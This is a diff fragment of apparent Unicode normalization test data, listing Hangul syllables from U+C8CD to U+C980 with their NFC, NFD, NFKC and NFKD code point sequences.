+{ source: [0xC8CD], NFC: [0xC8CD], NFD: [0x110C, 0x116C, 0x11B0], NFKC: [0xC8CD], NFKD: [0x110C, 0x116C, 0x11B0] },
+{ source: [0xC8CE], NFC: [0xC8CE], NFD: [0x110C, 0x116C, 0x11B1], NFKC: [0xC8CE], NFKD: [0x110C, 0x116C, 0x11B1] },
+{ source: [0xC8CF], NFC: [0xC8CF], NFD: [0x110C, 0x116C, 0x11B2], NFKC: [0xC8CF], NFKD: [0x110C, 0x116C, 0x11B2] },
+{ source: [0xC8D0], NFC: [0xC8D0], NFD: [0x110C, 0x116C, 0x11B3], NFKC: [0xC8D0], NFKD: [0x110C, 0x116C, 0x11B3] },
+{ source: [0xC8D1], NFC: [0xC8D1], NFD: [0x110C, 0x116C, 0x11B4], NFKC: [0xC8D1], NFKD: [0x110C, 0x116C, 0x11B4] },
+{ source: [0xC8D2], NFC: [0xC8D2], NFD: [0x110C, 0x116C, 0x11B5], NFKC: [0xC8D2], NFKD: [0x110C, 0x116C, 0x11B5] },
+{ source: [0xC8D3], NFC: [0xC8D3], NFD: [0x110C, 0x116C, 0x11B6], NFKC: [0xC8D3], NFKD: [0x110C, 0x116C, 0x11B6] },
+{ source: [0xC8D4], NFC: [0xC8D4], NFD: [0x110C, 0x116C, 0x11B7], NFKC: [0xC8D4], NFKD: [0x110C, 0x116C, 0x11B7] },
+{ source: [0xC8D5], NFC: [0xC8D5], NFD: [0x110C, 0x116C, 0x11B8], NFKC: [0xC8D5], NFKD: [0x110C, 0x116C, 0x11B8] },
+{ source: [0xC8D6], NFC: [0xC8D6], NFD: [0x110C, 0x116C, 0x11B9], NFKC: [0xC8D6], NFKD: [0x110C, 0x116C, 0x11B9] },
+{ source: [0xC8D7], NFC: [0xC8D7], NFD: [0x110C, 0x116C, 0x11BA], NFKC: [0xC8D7], NFKD: [0x110C, 0x116C, 0x11BA] },
+{ source: [0xC8D8], NFC: [0xC8D8], NFD: [0x110C, 0x116C, 0x11BB], NFKC: [0xC8D8], NFKD: [0x110C, 0x116C, 0x11BB] },
+{ source: [0xC8D9], NFC: [0xC8D9], NFD: [0x110C, 0x116C, 0x11BC], NFKC: [0xC8D9], NFKD: [0x110C, 0x116C, 0x11BC] },
+{ source: [0xC8DA], NFC: [0xC8DA], NFD: [0x110C, 0x116C, 0x11BD], NFKC: [0xC8DA], NFKD: [0x110C, 0x116C, 0x11BD] },
+{ source: [0xC8DB], NFC: [0xC8DB], NFD: [0x110C, 0x116C, 0x11BE], NFKC: [0xC8DB], NFKD: [0x110C, 0x116C, 0x11BE] },
+{ source: [0xC8DC], NFC: [0xC8DC], NFD: [0x110C, 0x116C, 0x11BF], NFKC: [0xC8DC], NFKD: [0x110C, 0x116C, 0x11BF] },
+{ source: [0xC8DD], NFC: [0xC8DD], NFD: [0x110C, 0x116C, 0x11C0], NFKC: [0xC8DD], NFKD: [0x110C, 0x116C, 0x11C0] },
+{ source: [0xC8DE], NFC: [0xC8DE], NFD: [0x110C, 0x116C, 0x11C1], NFKC: [0xC8DE], NFKD: [0x110C, 0x116C, 0x11C1] },
+{ source: [0xC8DF], NFC: [0xC8DF], NFD: [0x110C, 0x116C, 0x11C2], NFKC: [0xC8DF], NFKD: [0x110C, 0x116C, 0x11C2] },
+{ source: [0xC8E0], NFC: [0xC8E0], NFD: [0x110C, 0x116D], NFKC: [0xC8E0], NFKD: [0x110C, 0x116D] },
+{ source: [0xC8E1], NFC: [0xC8E1], NFD: [0x110C, 0x116D, 0x11A8], NFKC: [0xC8E1], NFKD: [0x110C, 0x116D, 0x11A8] },
+{ source: [0xC8E2], NFC: [0xC8E2], NFD: [0x110C, 0x116D, 0x11A9], NFKC: [0xC8E2], NFKD: [0x110C, 0x116D, 0x11A9] },
+{ source: [0xC8E3], NFC: [0xC8E3], NFD: [0x110C, 0x116D, 0x11AA], NFKC: [0xC8E3], NFKD: [0x110C, 0x116D, 0x11AA] },
+{ source: [0xC8E4], NFC: [0xC8E4], NFD: [0x110C, 0x116D, 0x11AB], NFKC: [0xC8E4], NFKD: [0x110C, 0x116D, 0x11AB] },
+{ source: [0xC8E5], NFC: [0xC8E5], NFD: [0x110C, 0x116D, 0x11AC], NFKC: [0xC8E5], NFKD: [0x110C, 0x116D, 0x11AC] },
+{ source: [0xC8E6], NFC: [0xC8E6], NFD: [0x110C, 0x116D, 0x11AD], NFKC: [0xC8E6], NFKD: [0x110C, 0x116D, 0x11AD] },
+{ source: [0xC8E7], NFC: [0xC8E7], NFD: [0x110C, 0x116D, 0x11AE], NFKC: [0xC8E7], NFKD: [0x110C, 0x116D, 0x11AE] },
+{ source: [0xC8E8], NFC: [0xC8E8], NFD: [0x110C, 0x116D, 0x11AF], NFKC: [0xC8E8], NFKD: [0x110C, 0x116D, 0x11AF] },
+{ source: [0xC8E9], NFC: [0xC8E9], NFD: [0x110C, 0x116D, 0x11B0], NFKC: [0xC8E9], NFKD: [0x110C, 0x116D, 0x11B0] },
+{ source: [0xC8EA], NFC: [0xC8EA], NFD: [0x110C, 0x116D, 0x11B1], NFKC: [0xC8EA], NFKD: [0x110C, 0x116D, 0x11B1] },
+{ source: [0xC8EB], NFC: [0xC8EB], NFD: [0x110C, 0x116D, 0x11B2], NFKC: [0xC8EB], NFKD: [0x110C, 0x116D, 0x11B2] },
+{ source: [0xC8EC], NFC: [0xC8EC], NFD: [0x110C, 0x116D, 0x11B3], NFKC: [0xC8EC], NFKD: [0x110C, 0x116D, 0x11B3] },
+{ source: [0xC8ED], NFC: [0xC8ED], NFD: [0x110C, 0x116D, 0x11B4], NFKC: [0xC8ED], NFKD: [0x110C, 0x116D, 0x11B4] },
+{ source: [0xC8EE], NFC: [0xC8EE], NFD: [0x110C, 0x116D, 0x11B5], NFKC: [0xC8EE], NFKD: [0x110C, 0x116D, 0x11B5] },
+{ source: [0xC8EF], NFC: [0xC8EF], NFD: [0x110C, 0x116D, 0x11B6], NFKC: [0xC8EF], NFKD: [0x110C, 0x116D, 0x11B6] },
+{ source: [0xC8F0], NFC: [0xC8F0], NFD: [0x110C, 0x116D, 0x11B7], NFKC: [0xC8F0], NFKD: [0x110C, 0x116D, 0x11B7] },
+{ source: [0xC8F1], NFC: [0xC8F1], NFD: [0x110C, 0x116D, 0x11B8], NFKC: [0xC8F1], NFKD: [0x110C, 0x116D, 0x11B8] },
+{ source: [0xC8F2], NFC: [0xC8F2], NFD: [0x110C, 0x116D, 0x11B9], NFKC: [0xC8F2], NFKD: [0x110C, 0x116D, 0x11B9] },
+{ source: [0xC8F3], NFC: [0xC8F3], NFD: [0x110C, 0x116D, 0x11BA], NFKC: [0xC8F3], NFKD: [0x110C, 0x116D, 0x11BA] },
+{ source: [0xC8F4], NFC: [0xC8F4], NFD: [0x110C, 0x116D, 0x11BB], NFKC: [0xC8F4], NFKD: [0x110C, 0x116D, 0x11BB] },
+{ source: [0xC8F5], NFC: [0xC8F5], NFD: [0x110C, 0x116D, 0x11BC], NFKC: [0xC8F5], NFKD: [0x110C, 0x116D, 0x11BC] },
+{ source: [0xC8F6], NFC: [0xC8F6], NFD: [0x110C, 0x116D, 0x11BD], NFKC: [0xC8F6], NFKD: [0x110C, 0x116D, 0x11BD] },
+{ source: [0xC8F7], NFC: [0xC8F7], NFD: [0x110C, 0x116D, 0x11BE], NFKC: [0xC8F7], NFKD: [0x110C, 0x116D, 0x11BE] },
+{ source: [0xC8F8], NFC: [0xC8F8], NFD: [0x110C, 0x116D, 0x11BF], NFKC: [0xC8F8], NFKD: [0x110C, 0x116D, 0x11BF] },
+{ source: [0xC8F9], NFC: [0xC8F9], NFD: [0x110C, 0x116D, 0x11C0], NFKC: [0xC8F9], NFKD: [0x110C, 0x116D, 0x11C0] },
+{ source: [0xC8FA], NFC: [0xC8FA], NFD: [0x110C, 0x116D, 0x11C1], NFKC: [0xC8FA], NFKD: [0x110C, 0x116D, 0x11C1] },
+{ source: [0xC8FB], NFC: [0xC8FB], NFD: [0x110C, 0x116D, 0x11C2], NFKC: [0xC8FB], NFKD: [0x110C, 0x116D, 0x11C2] },
+{ source: [0xC8FC], NFC: [0xC8FC], NFD: [0x110C, 0x116E], NFKC: [0xC8FC], NFKD: [0x110C, 0x116E] },
+{ source: [0xC8FD], NFC: [0xC8FD], NFD: [0x110C, 0x116E, 0x11A8], NFKC: [0xC8FD], NFKD: [0x110C, 0x116E, 0x11A8] },
+{ source: [0xC8FE], NFC: [0xC8FE], NFD: [0x110C, 0x116E, 0x11A9], NFKC: [0xC8FE], NFKD: [0x110C, 0x116E, 0x11A9] },
+{ source: [0xC8FF], NFC: [0xC8FF], NFD: [0x110C, 0x116E, 0x11AA], NFKC: [0xC8FF], NFKD: [0x110C, 0x116E, 0x11AA] },
+{ source: [0xC900], NFC: [0xC900], NFD: [0x110C, 0x116E, 0x11AB], NFKC: [0xC900], NFKD: [0x110C, 0x116E, 0x11AB] },
+{ source: [0xC901], NFC: [0xC901], NFD: [0x110C, 0x116E, 0x11AC], NFKC: [0xC901], NFKD: [0x110C, 0x116E, 0x11AC] },
+{ source: [0xC902], NFC: [0xC902], NFD: [0x110C, 0x116E, 0x11AD], NFKC: [0xC902], NFKD: [0x110C, 0x116E, 0x11AD] },
+{ source: [0xC903], NFC: [0xC903], NFD: [0x110C, 0x116E, 0x11AE], NFKC: [0xC903], NFKD: [0x110C, 0x116E, 0x11AE] },
+{ source: [0xC904], NFC: [0xC904], NFD: [0x110C, 0x116E, 0x11AF], NFKC: [0xC904], NFKD: [0x110C, 0x116E, 0x11AF] },
+{ source: [0xC905], NFC: [0xC905], NFD: [0x110C, 0x116E, 0x11B0], NFKC: [0xC905], NFKD: [0x110C, 0x116E, 0x11B0] },
+{ source: [0xC906], NFC: [0xC906], NFD: [0x110C, 0x116E, 0x11B1], NFKC: [0xC906], NFKD: [0x110C, 0x116E, 0x11B1] },
+{ source: [0xC907], NFC: [0xC907], NFD: [0x110C, 0x116E, 0x11B2], NFKC: [0xC907], NFKD: [0x110C, 0x116E, 0x11B2] },
+{ source: [0xC908], NFC: [0xC908], NFD: [0x110C, 0x116E, 0x11B3], NFKC: [0xC908], NFKD: [0x110C, 0x116E, 0x11B3] },
+{ source: [0xC909], NFC: [0xC909], NFD: [0x110C, 0x116E, 0x11B4], NFKC: [0xC909], NFKD: [0x110C, 0x116E, 0x11B4] },
+{ source: [0xC90A], NFC: [0xC90A], NFD: [0x110C, 0x116E, 0x11B5], NFKC: [0xC90A], NFKD: [0x110C, 0x116E, 0x11B5] },
+{ source: [0xC90B], NFC: [0xC90B], NFD: [0x110C, 0x116E, 0x11B6], NFKC: [0xC90B], NFKD: [0x110C, 0x116E, 0x11B6] },
+{ source: [0xC90C], NFC: [0xC90C], NFD: [0x110C, 0x116E, 0x11B7], NFKC: [0xC90C], NFKD: [0x110C, 0x116E, 0x11B7] },
+{ source: [0xC90D], NFC: [0xC90D], NFD: [0x110C, 0x116E, 0x11B8], NFKC: [0xC90D], NFKD: [0x110C, 0x116E, 0x11B8] },
+{ source: [0xC90E], NFC: [0xC90E], NFD: [0x110C, 0x116E, 0x11B9], NFKC: [0xC90E], NFKD: [0x110C, 0x116E, 0x11B9] },
+{ source: [0xC90F], NFC: [0xC90F], NFD: [0x110C, 0x116E, 0x11BA], NFKC: [0xC90F], NFKD: [0x110C, 0x116E, 0x11BA] },
+{ source: [0xC910], NFC: [0xC910], NFD: [0x110C, 0x116E, 0x11BB], NFKC: [0xC910], NFKD: [0x110C, 0x116E, 0x11BB] },
+{ source: [0xC911], NFC: [0xC911], NFD: [0x110C, 0x116E, 0x11BC], NFKC: [0xC911], NFKD: [0x110C, 0x116E, 0x11BC] },
+{ source: [0xC912], NFC: [0xC912], NFD: [0x110C, 0x116E, 0x11BD], NFKC: [0xC912], NFKD: [0x110C, 0x116E, 0x11BD] },
+{ source: [0xC913], NFC: [0xC913], NFD: [0x110C, 0x116E, 0x11BE], NFKC: [0xC913], NFKD: [0x110C, 0x116E, 0x11BE] },
+{ source: [0xC914], NFC: [0xC914], NFD: [0x110C, 0x116E, 0x11BF], NFKC: [0xC914], NFKD: [0x110C, 0x116E, 0x11BF] },
+{ source: [0xC915], NFC: [0xC915], NFD: [0x110C, 0x116E, 0x11C0], NFKC: [0xC915], NFKD: [0x110C, 0x116E, 0x11C0] },
+{ source: [0xC916], NFC: [0xC916], NFD: [0x110C, 0x116E, 0x11C1], NFKC: [0xC916], NFKD: [0x110C, 0x116E, 0x11C1] },
+{ source: [0xC917], NFC: [0xC917], NFD: [0x110C, 0x116E, 0x11C2], NFKC: [0xC917], NFKD: [0x110C, 0x116E, 0x11C2] },
+{ source: [0xC918], NFC: [0xC918], NFD: [0x110C, 0x116F], NFKC: [0xC918], NFKD: [0x110C, 0x116F] },
+{ source: [0xC919], NFC: [0xC919], NFD: [0x110C, 0x116F, 0x11A8], NFKC: [0xC919], NFKD: [0x110C, 0x116F, 0x11A8] },
+{ source: [0xC91A], NFC: [0xC91A], NFD: [0x110C, 0x116F, 0x11A9], NFKC: [0xC91A], NFKD: [0x110C, 0x116F, 0x11A9] },
+{ source: [0xC91B], NFC: [0xC91B], NFD: [0x110C, 0x116F, 0x11AA], NFKC: [0xC91B], NFKD: [0x110C, 0x116F, 0x11AA] },
+{ source: [0xC91C], NFC: [0xC91C], NFD: [0x110C, 0x116F, 0x11AB], NFKC: [0xC91C], NFKD: [0x110C, 0x116F, 0x11AB] },
+{ source: [0xC91D], NFC: [0xC91D], NFD: [0x110C, 0x116F, 0x11AC], NFKC: [0xC91D], NFKD: [0x110C, 0x116F, 0x11AC] },
+{ source: [0xC91E], NFC: [0xC91E], NFD: [0x110C, 0x116F, 0x11AD], NFKC: [0xC91E], NFKD: [0x110C, 0x116F, 0x11AD] },
+{ source: [0xC91F], NFC: [0xC91F], NFD: [0x110C, 0x116F, 0x11AE], NFKC: [0xC91F], NFKD: [0x110C, 0x116F, 0x11AE] },
+{ source: [0xC920], NFC: [0xC920], NFD: [0x110C, 0x116F, 0x11AF], NFKC: [0xC920], NFKD: [0x110C, 0x116F, 0x11AF] },
+{ source: [0xC921], NFC: [0xC921], NFD: [0x110C, 0x116F, 0x11B0], NFKC: [0xC921], NFKD: [0x110C, 0x116F, 0x11B0] },
+{ source: [0xC922], NFC: [0xC922], NFD: [0x110C, 0x116F, 0x11B1], NFKC: [0xC922], NFKD: [0x110C, 0x116F, 0x11B1] },
+{ source: [0xC923], NFC: [0xC923], NFD: [0x110C, 0x116F, 0x11B2], NFKC: [0xC923], NFKD: [0x110C, 0x116F, 0x11B2] },
+{ source: [0xC924], NFC: [0xC924], NFD: [0x110C, 0x116F, 0x11B3], NFKC: [0xC924], NFKD: [0x110C, 0x116F, 0x11B3] },
+{ source: [0xC925], NFC: [0xC925], NFD: [0x110C, 0x116F, 0x11B4], NFKC: [0xC925], NFKD: [0x110C, 0x116F, 0x11B4] },
+{ source: [0xC926], NFC: [0xC926], NFD: [0x110C, 0x116F, 0x11B5], NFKC: [0xC926], NFKD: [0x110C, 0x116F, 0x11B5] },
+{ source: [0xC927], NFC: [0xC927], NFD: [0x110C, 0x116F, 0x11B6], NFKC: [0xC927], NFKD: [0x110C, 0x116F, 0x11B6] },
+{ source: [0xC928], NFC: [0xC928], NFD: [0x110C, 0x116F, 0x11B7], NFKC: [0xC928], NFKD: [0x110C, 0x116F, 0x11B7] },
+{ source: [0xC929], NFC: [0xC929], NFD: [0x110C, 0x116F, 0x11B8], NFKC: [0xC929], NFKD: [0x110C, 0x116F, 0x11B8] },
+{ source: [0xC92A], NFC: [0xC92A], NFD: [0x110C, 0x116F, 0x11B9], NFKC: [0xC92A], NFKD: [0x110C, 0x116F, 0x11B9] },
+{ source: [0xC92B], NFC: [0xC92B], NFD: [0x110C, 0x116F, 0x11BA], NFKC: [0xC92B], NFKD: [0x110C, 0x116F, 0x11BA] },
+{ source: [0xC92C], NFC: [0xC92C], NFD: [0x110C, 0x116F, 0x11BB], NFKC: [0xC92C], NFKD: [0x110C, 0x116F, 0x11BB] },
+{ source: [0xC92D], NFC: [0xC92D], NFD: [0x110C, 0x116F, 0x11BC], NFKC: [0xC92D], NFKD: [0x110C, 0x116F, 0x11BC] },
+{ source: [0xC92E], NFC: [0xC92E], NFD: [0x110C, 0x116F, 0x11BD], NFKC: [0xC92E], NFKD: [0x110C, 0x116F, 0x11BD] },
+{ source: [0xC92F], NFC: [0xC92F], NFD: [0x110C, 0x116F, 0x11BE], NFKC: [0xC92F], NFKD: [0x110C, 0x116F, 0x11BE] },
+{ source: [0xC930], NFC: [0xC930], NFD: [0x110C, 0x116F, 0x11BF], NFKC: [0xC930], NFKD: [0x110C, 0x116F, 0x11BF] },
+{ source: [0xC931], NFC: [0xC931], NFD: [0x110C, 0x116F, 0x11C0], NFKC: [0xC931], NFKD: [0x110C, 0x116F, 0x11C0] },
+{ source: [0xC932], NFC: [0xC932], NFD: [0x110C, 0x116F, 0x11C1], NFKC: [0xC932], NFKD: [0x110C, 0x116F, 0x11C1] },
+{ source: [0xC933], NFC: [0xC933], NFD: [0x110C, 0x116F, 0x11C2], NFKC: [0xC933], NFKD: [0x110C, 0x116F, 0x11C2] },
+{ source: [0xC934], NFC: [0xC934], NFD: [0x110C, 0x1170], NFKC: [0xC934], NFKD: [0x110C, 0x1170] },
+{ source: [0xC935], NFC: [0xC935], NFD: [0x110C, 0x1170, 0x11A8], NFKC: [0xC935], NFKD: [0x110C, 0x1170, 0x11A8] },
+{ source: [0xC936], NFC: [0xC936], NFD: [0x110C, 0x1170, 0x11A9], NFKC: [0xC936], NFKD: [0x110C, 0x1170, 0x11A9] },
+{ source: [0xC937], NFC: [0xC937], NFD: [0x110C, 0x1170, 0x11AA], NFKC: [0xC937], NFKD: [0x110C, 0x1170, 0x11AA] },
+{ source: [0xC938], NFC: [0xC938], NFD: [0x110C, 0x1170, 0x11AB], NFKC: [0xC938], NFKD: [0x110C, 0x1170, 0x11AB] },
+{ source: [0xC939], NFC: [0xC939], NFD: [0x110C, 0x1170, 0x11AC], NFKC: [0xC939], NFKD: [0x110C, 0x1170, 0x11AC] },
+{ source: [0xC93A], NFC: [0xC93A], NFD: [0x110C, 0x1170, 0x11AD], NFKC: [0xC93A], NFKD: [0x110C, 0x1170, 0x11AD] },
+{ source: [0xC93B], NFC: [0xC93B], NFD: [0x110C, 0x1170, 0x11AE], NFKC: [0xC93B], NFKD: [0x110C, 0x1170, 0x11AE] },
+{ source: [0xC93C], NFC: [0xC93C], NFD: [0x110C, 0x1170, 0x11AF], NFKC: [0xC93C], NFKD: [0x110C, 0x1170, 0x11AF] },
+{ source: [0xC93D], NFC: [0xC93D], NFD: [0x110C, 0x1170, 0x11B0], NFKC: [0xC93D], NFKD: [0x110C, 0x1170, 0x11B0] },
+{ source: [0xC93E], NFC: [0xC93E], NFD: [0x110C, 0x1170, 0x11B1], NFKC: [0xC93E], NFKD: [0x110C, 0x1170, 0x11B1] },
+{ source: [0xC93F], NFC: [0xC93F], NFD: [0x110C, 0x1170, 0x11B2], NFKC: [0xC93F], NFKD: [0x110C, 0x1170, 0x11B2] },
+{ source: [0xC940], NFC: [0xC940], NFD: [0x110C, 0x1170, 0x11B3], NFKC: [0xC940], NFKD: [0x110C, 0x1170, 0x11B3] },
+{ source: [0xC941], NFC: [0xC941], NFD: [0x110C, 0x1170, 0x11B4], NFKC: [0xC941], NFKD: [0x110C, 0x1170, 0x11B4] },
+{ source: [0xC942], NFC: [0xC942], NFD: [0x110C, 0x1170, 0x11B5], NFKC: [0xC942], NFKD: [0x110C, 0x1170, 0x11B5] },
+{ source: [0xC943], NFC: [0xC943], NFD: [0x110C, 0x1170, 0x11B6], NFKC: [0xC943], NFKD: [0x110C, 0x1170, 0x11B6] },
+{ source: [0xC944], NFC: [0xC944], NFD: [0x110C, 0x1170, 0x11B7], NFKC: [0xC944], NFKD: [0x110C, 0x1170, 0x11B7] },
+{ source: [0xC945], NFC: [0xC945], NFD: [0x110C, 0x1170, 0x11B8], NFKC: [0xC945], NFKD: [0x110C, 0x1170, 0x11B8] },
+{ source: [0xC946], NFC: [0xC946], NFD: [0x110C, 0x1170, 0x11B9], NFKC: [0xC946], NFKD: [0x110C, 0x1170, 0x11B9] },
+{ source: [0xC947], NFC: [0xC947], NFD: [0x110C, 0x1170, 0x11BA], NFKC: [0xC947], NFKD: [0x110C, 0x1170, 0x11BA] },
+{ source: [0xC948], NFC: [0xC948], NFD: [0x110C, 0x1170, 0x11BB], NFKC: [0xC948], NFKD: [0x110C, 0x1170, 0x11BB] },
+{ source: [0xC949], NFC: [0xC949], NFD: [0x110C, 0x1170, 0x11BC], NFKC: [0xC949], NFKD: [0x110C, 0x1170, 0x11BC] },
+{ source: [0xC94A], NFC: [0xC94A], NFD: [0x110C, 0x1170, 0x11BD], NFKC: [0xC94A], NFKD: [0x110C, 0x1170, 0x11BD] },
+{ source: [0xC94B], NFC: [0xC94B], NFD: [0x110C, 0x1170, 0x11BE], NFKC: [0xC94B], NFKD: [0x110C, 0x1170, 0x11BE] },
+{ source: [0xC94C], NFC: [0xC94C], NFD: [0x110C, 0x1170, 0x11BF], NFKC: [0xC94C], NFKD: [0x110C, 0x1170, 0x11BF] },
+{ source: [0xC94D], NFC: [0xC94D], NFD: [0x110C, 0x1170, 0x11C0], NFKC: [0xC94D], NFKD: [0x110C, 0x1170, 0x11C0] },
+{ source: [0xC94E], NFC: [0xC94E], NFD: [0x110C, 0x1170, 0x11C1], NFKC: [0xC94E], NFKD: [0x110C, 0x1170, 0x11C1] },
+{ source: [0xC94F], NFC: [0xC94F], NFD: [0x110C, 0x1170, 0x11C2], NFKC: [0xC94F], NFKD: [0x110C, 0x1170, 0x11C2] },
+{ source: [0xC950], NFC: [0xC950], NFD: [0x110C, 0x1171], NFKC: [0xC950], NFKD: [0x110C, 0x1171] },
+{ source: [0xC951], NFC: [0xC951], NFD: [0x110C, 0x1171, 0x11A8], NFKC: [0xC951], NFKD: [0x110C, 0x1171, 0x11A8] },
+{ source: [0xC952], NFC: [0xC952], NFD: [0x110C, 0x1171, 0x11A9], NFKC: [0xC952], NFKD: [0x110C, 0x1171, 0x11A9] },
+{ source: [0xC953], NFC: [0xC953], NFD: [0x110C, 0x1171, 0x11AA], NFKC: [0xC953], NFKD: [0x110C, 0x1171, 0x11AA] },
+{ source: [0xC954], NFC: [0xC954], NFD: [0x110C, 0x1171, 0x11AB], NFKC: [0xC954], NFKD: [0x110C, 0x1171, 0x11AB] },
+{ source: [0xC955], NFC: [0xC955], NFD: [0x110C, 0x1171, 0x11AC], NFKC: [0xC955], NFKD: [0x110C, 0x1171, 0x11AC] },
+{ source: [0xC956], NFC: [0xC956], NFD: [0x110C, 0x1171, 0x11AD], NFKC: [0xC956], NFKD: [0x110C, 0x1171, 0x11AD] },
+{ source: [0xC957], NFC: [0xC957], NFD: [0x110C, 0x1171, 0x11AE], NFKC: [0xC957], NFKD: [0x110C, 0x1171, 0x11AE] },
+{ source: [0xC958], NFC: [0xC958], NFD: [0x110C, 0x1171, 0x11AF], NFKC: [0xC958], NFKD: [0x110C, 0x1171, 0x11AF] },
+{ source: [0xC959], NFC: [0xC959], NFD: [0x110C, 0x1171, 0x11B0], NFKC: [0xC959], NFKD: [0x110C, 0x1171, 0x11B0] },
+{ source: [0xC95A], NFC: [0xC95A], NFD: [0x110C, 0x1171, 0x11B1], NFKC: [0xC95A], NFKD: [0x110C, 0x1171, 0x11B1] },
+{ source: [0xC95B], NFC: [0xC95B], NFD: [0x110C, 0x1171, 0x11B2], NFKC: [0xC95B], NFKD: [0x110C, 0x1171, 0x11B2] },
+{ source: [0xC95C], NFC: [0xC95C], NFD: [0x110C, 0x1171, 0x11B3], NFKC: [0xC95C], NFKD: [0x110C, 0x1171, 0x11B3] },
+{ source: [0xC95D], NFC: [0xC95D], NFD: [0x110C, 0x1171, 0x11B4], NFKC: [0xC95D], NFKD: [0x110C, 0x1171, 0x11B4] },
+{ source: [0xC95E], NFC: [0xC95E], NFD: [0x110C, 0x1171, 0x11B5], NFKC: [0xC95E], NFKD: [0x110C, 0x1171, 0x11B5] },
+{ source: [0xC95F], NFC: [0xC95F], NFD: [0x110C, 0x1171, 0x11B6], NFKC: [0xC95F], NFKD: [0x110C, 0x1171, 0x11B6] },
+{ source: [0xC960], NFC: [0xC960], NFD: [0x110C, 0x1171, 0x11B7], NFKC: [0xC960], NFKD: [0x110C, 0x1171, 0x11B7] },
+{ source: [0xC961], NFC: [0xC961], NFD: [0x110C, 0x1171, 0x11B8], NFKC: [0xC961], NFKD: [0x110C, 0x1171, 0x11B8] },
+{ source: [0xC962], NFC: [0xC962], NFD: [0x110C, 0x1171, 0x11B9], NFKC: [0xC962], NFKD: [0x110C, 0x1171, 0x11B9] },
+{ source: [0xC963], NFC: [0xC963], NFD: [0x110C, 0x1171, 0x11BA], NFKC: [0xC963], NFKD: [0x110C, 0x1171, 0x11BA] },
+{ source: [0xC964], NFC: [0xC964], NFD: [0x110C, 0x1171, 0x11BB], NFKC: [0xC964], NFKD: [0x110C, 0x1171, 0x11BB] },
+{ source: [0xC965], NFC: [0xC965], NFD: [0x110C, 0x1171, 0x11BC], NFKC: [0xC965], NFKD: [0x110C, 0x1171, 0x11BC] },
+{ source: [0xC966], NFC: [0xC966], NFD: [0x110C, 0x1171, 0x11BD], NFKC: [0xC966], NFKD: [0x110C, 0x1171, 0x11BD] },
+{ source: [0xC967], NFC: [0xC967], NFD: [0x110C, 0x1171, 0x11BE], NFKC: [0xC967], NFKD: [0x110C, 0x1171, 0x11BE] },
+{ source: [0xC968], NFC: [0xC968], NFD: [0x110C, 0x1171, 0x11BF], NFKC: [0xC968], NFKD: [0x110C, 0x1171, 0x11BF] },
+{ source: [0xC969], NFC: [0xC969], NFD: [0x110C, 0x1171, 0x11C0], NFKC: [0xC969], NFKD: [0x110C, 0x1171, 0x11C0] },
+{ source: [0xC96A], NFC: [0xC96A], NFD: [0x110C, 0x1171, 0x11C1], NFKC: [0xC96A], NFKD: [0x110C, 0x1171, 0x11C1] },
+{ source: [0xC96B], NFC: [0xC96B], NFD: [0x110C, 0x1171, 0x11C2], NFKC: [0xC96B], NFKD: [0x110C, 0x1171, 0x11C2] },
+{ source: [0xC96C], NFC: [0xC96C], NFD: [0x110C, 0x1172], NFKC: [0xC96C], NFKD: [0x110C, 0x1172] },
+{ source: [0xC96D], NFC: [0xC96D], NFD: [0x110C, 0x1172, 0x11A8], NFKC: [0xC96D], NFKD: [0x110C, 0x1172, 0x11A8] },
+{ source: [0xC96E], NFC: [0xC96E], NFD: [0x110C, 0x1172, 0x11A9], NFKC: [0xC96E], NFKD: [0x110C, 0x1172, 0x11A9] },
+{ source: [0xC96F], NFC: [0xC96F], NFD: [0x110C, 0x1172, 0x11AA], NFKC: [0xC96F], NFKD: [0x110C, 0x1172, 0x11AA] },
+{ source: [0xC970], NFC: [0xC970], NFD: [0x110C, 0x1172, 0x11AB], NFKC: [0xC970], NFKD: [0x110C, 0x1172, 0x11AB] },
+{ source: [0xC971], NFC: [0xC971], NFD: [0x110C, 0x1172, 0x11AC], NFKC: [0xC971], NFKD: [0x110C, 0x1172, 0x11AC] },
+{ source: [0xC972], NFC: [0xC972], NFD: [0x110C, 0x1172, 0x11AD], NFKC: [0xC972], NFKD: [0x110C, 0x1172, 0x11AD] },
+{ source: [0xC973], NFC: [0xC973], NFD: [0x110C, 0x1172, 0x11AE], NFKC: [0xC973], NFKD: [0x110C, 0x1172, 0x11AE] },
+{ source: [0xC974], NFC: [0xC974], NFD: [0x110C, 0x1172, 0x11AF], NFKC: [0xC974], NFKD: [0x110C, 0x1172, 0x11AF] },
+{ source: [0xC975], NFC: [0xC975], NFD: [0x110C, 0x1172, 0x11B0], NFKC: [0xC975], NFKD: [0x110C, 0x1172, 0x11B0] },
+{ source: [0xC976], NFC: [0xC976], NFD: [0x110C, 0x1172, 0x11B1], NFKC: [0xC976], NFKD: [0x110C, 0x1172, 0x11B1] },
+{ source: [0xC977], NFC: [0xC977], NFD: [0x110C, 0x1172, 0x11B2], NFKC: [0xC977], NFKD: [0x110C, 0x1172, 0x11B2] },
+{ source: [0xC978], NFC: [0xC978], NFD: [0x110C, 0x1172, 0x11B3], NFKC: [0xC978], NFKD: [0x110C, 0x1172, 0x11B3] },
+{ source: [0xC979], NFC: [0xC979], NFD: [0x110C, 0x1172, 0x11B4], NFKC: [0xC979], NFKD: [0x110C, 0x1172, 0x11B4] },
+{ source: [0xC97A], NFC: [0xC97A], NFD: [0x110C, 0x1172, 0x11B5], NFKC: [0xC97A], NFKD: [0x110C, 0x1172, 0x11B5] },
+{ source: [0xC97B], NFC: [0xC97B], NFD: [0x110C, 0x1172, 0x11B6], NFKC: [0xC97B], NFKD: [0x110C, 0x1172, 0x11B6] },
+{ source: [0xC97C], NFC: [0xC97C], NFD: [0x110C, 0x1172, 0x11B7], NFKC: [0xC97C], NFKD: [0x110C, 0x1172, 0x11B7] },
+{ source: [0xC97D], NFC: [0xC97D], NFD: [0x110C, 0x1172, 0x11B8], NFKC: [0xC97D], NFKD: [0x110C, 0x1172, 0x11B8] },
+{ source: [0xC97E], NFC: [0xC97E], NFD: [0x110C, 0x1172, 0x11B9], NFKC: [0xC97E], NFKD: [0x110C, 0x1172, 0x11B9] },
+{ source: [0xC97F], NFC: [0xC97F], NFD: [0x110C, 0x1172, 0x11BA], NFKC: [0xC97F], NFKD: [0x110C, 0x1172, 0x11BA] },
+{ source: [0xC980], NFC: [0xC980], NFD: [0x110C, 0x1172, 0x11BB], NFKC: [0xC980], NFKD: [0x110C, 0x1172, 0x11BB] },
